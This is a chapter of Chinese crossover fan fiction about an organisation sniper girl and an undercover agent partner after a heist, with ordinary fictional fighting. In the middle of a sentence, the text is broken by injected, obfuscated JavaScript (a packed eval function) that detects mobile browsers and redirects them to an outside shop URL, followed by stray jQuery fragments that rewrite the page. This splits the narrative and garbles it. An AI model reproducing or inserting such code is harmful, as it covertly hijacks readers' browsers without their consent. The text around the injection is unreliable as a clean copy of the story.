14. 他不会担心一个罪犯

作品:《酒厂狙击手是个天然呆

    急促的脚步声引来了楼道的振动。


    高楼内,日向真纪奔跑着,身后跟着一大群拿着警棍的警卫。


    她的身姿轻盈,速度极快,她得让这群人远离搭档才行。


    但,天不遂人愿,她的面前忽然又冒出了一群警卫,他们前后包夹着,将她堵在了中间。


    紧张的氛围刹那间在楼道蔓延,几十双眼睛死死盯着日向真纪。


    她明白,一但自己有什么动作,他们就会想找到猎物的狼一般,蜂拥而上。


    “真没想到琴酒会派一个小丫头过来。”警卫瞬间让开了一条道,一位年长者朝她缓缓走进,停在了一个不远不近的距离,眼神高傲。


    “所以?”日向真纪有些迷茫,她认出来了,这是她原来的任务目标,这个地方的头头。


    他想干什么?


    “你是来偷药方的吧。”他的表情充满了笃定,微微牵起嘴角,露出了一个得意的笑容,“小姑娘,别想了,药方被我藏在一个你永远也找不到的地方。”


    “哦。”日向真纪歪着脑袋,“琴酒老师已经饶了你一命,你现在出现在我的面前,是想求死吗?”


    “你。”男人只感觉一口气差点没顺上来,他后退几步,抬起手,用手指指着日向真纪,指尖微微颤抖,“把她抓起来,正好我缺个测量药物反应的实验品。”


    下一秒——


    警卫蜂拥而上,男人悄然隐于身后。


    棍棒裹挟着凌厉的风从各个角度向日向真纪刺去。


    白眼擅长观测,并不能对敌人有减速之类的加成。


    因此,她的躲避此时全靠琴酒和自己对练产生的反应力。


    日向真纪并没有因为人多而慌张,反而冷静极了。


    她猛然弯下腰,将自己的身高压低,拳头毫不犹豫的地打向其中一人的腹部,趁他蜷缩的瞬间,干净利落地踩上他的背,借力准备跳出包围。


    旁边的人眼疾手快,扯住了她黑色的风衣下摆,将她又拽了下来。


    日向真纪接机转身,扯过那人的手臂将他摔向人群,砸倒了一片倒霉的警卫。


    白眼开启,她的嘴角不悦地下撇。


    这些人可真难缠。


    打了一片又来了一片。


    她深吸了一口气,再次冲向人群试图再次突围。


    柔拳的点穴相对会更省力,她得赶紧脱身去汇合才行。


    场面逐渐混乱,日向真纪的身上也因为体力的消耗躲避不及挨了几棍子。


    后背的伤口更加的严重,血液渗出了纱布,顺着黑色的衣服滴落在地上。


    日向真纪死死咬紧了嘴唇,疼的脸色泛白,铁锈味从嘴里蔓延开。


    耳旁是棍棒挥舞的凉风,她偏过头去,棍棒擦过了墨镜,将它打落。


    成功露出了隐藏在墨镜后的那一张面无表情的脸。


    她生气了。


    日向真纪随手从倒地的警卫身上抢了一根警棍,眼神冷漠而凶狠。


    那可是琴酒老师送她的。


    瞬间,哀嚎声四起。


    ……


    当诸伏景光和日向真纪汇合的时候,差点没认出来。


    她的脸被打的鼻青脸肿,身上全都是大大小小的瘀伤。


    连背后的衣服也快要被鲜血浸透。


    她一瘸一拐地朝他走来。


    像一只可怜的小狗,打完架后回来找主人,用湿漉漉的眼神诉说着委屈。


    “怎么回事?”或许是被她的表情所蛊惑,诸伏景光将日向真纪拉到角落,忍不住问道。


    她抬头看向诸伏景光,眼神里满是无措,用口袋掏出已经散架墨镜,递给他。


    “这是获得代号后的第一个任务时老师送的。”她摸了摸镜架,语气低落了下去,“坏掉了。”


    诸伏景光的心里松了一口气,他接过镜架看了看,语气带着哄孩子般的温柔,“没关系的,我可以帮你修好。”


    “真的吗?”日向真纪的眼睛忽然亮了起来,她向前抱住诸伏景光,头埋进他的怀里,狠狠蹭了蹭,“你果然是个好人。”


    果然还是个孩子呢。


    也只有孩子的世界才是这样非黑即白。


    诸伏景光感受到了日向真纪身上的,这一股属于普通少年人的气息,下意识顺手揉了揉她的头发。


    “我的任务完成了。”他笑了笑,收起了墨镜残肢,将u盘递给她。“但你是怎么知道这才是正确的药方呢。”


    “因为我看见他亲自将这个u盘放进去的。”日向真纪将u盘收好,重新背上了枪,将电动车从角落推了出来。


    “我们走吧。”


    “好。”


    诸伏景光看着日向真纪毫无察觉的样子,垂眸沉思着。


    他猜的果然没错,在日向真纪打架的时候,就算开着白眼,头脑里也不可能同时处理很多的信息。


    所以,他已经利用刚才的空隙将组织想得到的药方拷贝了一份发给了警方。


    这次的行动,收获很大。


    他微微勾起了唇角。


    车速并不快,索性有头盔的遮挡,路人才并没有过多的注意日向真纪的惨状。


    “莫斯卡托,以你的本事,那些警卫就算一时甩不开也不该伤的那么重才对……”车上,诸伏景光试探性地问道。


    “不知道为什么,在墨镜被打掉的瞬间,我忽然就想把他们每一个人都狠狠打一顿而已。”日向真纪望着天空高悬的太阳,语气迷茫。


    她自己也不知道当时她为什么会生气。


    “打一顿?没有想要杀了他们吗?”


    “他们不是我的任务目标,我杀人要收钱的。”她转过头去,望着诸伏景光的眼神有点奇怪,感叹着,“难道你免费吗?不愧是好心人呢。”


    看来她本性并不嗜杀,诸伏景光的心里莫名松了一口气。


    一丝浅淡的希望从心底升起,如果她可以被警方策反,并且提供一些信息的话……


    但下一秒,他就否决了这个可笑的想法。


    日向真纪自己可能不明白她为什么生气,但他这个局外人却看的分明。


    因为太在意琴酒了,所以连他随手送出的礼物都很在乎。


    她是绝对不可能背叛琴酒的。


    琴酒的培养还真是成功。


    恐怕他在她眼里是父亲一般的存在吧,听说她还是由琴酒一手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070689|195206||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    带大的。


    微不可查的遗憾从他的心里升起,但下一秒便被电动车猛地一个加速俯冲给彻底冲散了。


    等他回过神来的时候,惊恐地发现电动车正朝着一个穿着警服的男人冲去。


    “快停下!”他使劲扯了扯日向真纪的衣摆。


    “是条子!”她的语气有些激动,简直像是狗见了肉骨头,兴奋极了,连伤痛都好像忘了个干净,“我们冲!创死条子!”


    “哎,等等——”诸伏景光看着她这副拉都拉不住的亢奋状态,也算是彻底体会到了带熊孩子的心累。


    而那边的警察警觉地抬头看见了他们的行动,灵活地朝旁边闪去。


    而这一自保的举动让日向真纪成功撞到了马路牙子上,连带着诸伏景光摔了个人仰马翻。


    “没事吧。”诸伏景光第一时间站起来准备去扶她。


    日向真纪倒在地上死死捂住自己被电动车把手撞击的肋骨处,眉头紧紧皱在一起,嘴唇疼的泛白,连呼吸都因为疼痛而有些断断续续。


    “这怕不是被把手撞断了肋骨?”差点被撞到警察也凑过来插嘴道。


    诸伏景光偏头看去,刹那间,瞳孔紧缩。


    小卷毛,黑墨镜。


    是他在警校时的朋友——松田阵平。


    松田阵平此时也转头看向他,墨镜后的眼睛眨了眨。


    好像在说,他早就认出来了。


    “要不要去医院?”他建议着。


    “我才……不要条子……送我……去医院。”日向真纪这一摔伤上加伤,差不多已经疼的快气若游丝了。


    但很显然,她对条子的讨厌在经过琴酒的言传身教后早就已经深入骨髓。


    “那我送你去。我可做不到搭档受伤而我却见死不救的事情。”诸伏景光在松田阵平的辅助下将日向真纪小心翼翼地抱起来。


    “你自己可以吗?”松田阵平装作不经意地问道。


    “没问题,真是麻烦你了。”诸伏景光的眉眼弯弯,笑着点了点头。


    “小事情。”他转身离开了,背对着他潇洒地挥了挥手。


    诸伏景光单手抱着日向真纪,背上背着自己的琴包,另一只手里还拿着对方那巨大的琴包,走了一段路后,他还是选择了打车。


    毕竟东西实在是太多了,要是再摔了就不好了。


    但奇怪的是,自从上了车以后,日向真纪的脸色反而越来越苍白了。


    诸伏景光有些担心起来。


    日向真纪在组织里算是独一份的存在,她要是出事了,琴酒不可能放过他,他卧底的事情也会困难许多。


    况且目前来说,也是他不可或缺的搭档。


    和她的搭档对他来说利大于弊。


    他并不是在担心一个未成年犯罪分子,只是担心他的任务而已。


    他看着车窗外不断倒退的景物,想起了日向真纪多次向他重复过的话——“我是不会让你受伤的,不管怎么样,我都会保护你的。”


    他还记得她当时坚定的表情。


    诸伏景光低头看着自己整洁干净的衣服,眼神终究还是不自觉的柔软下来。


    毫不疑问,她做到了。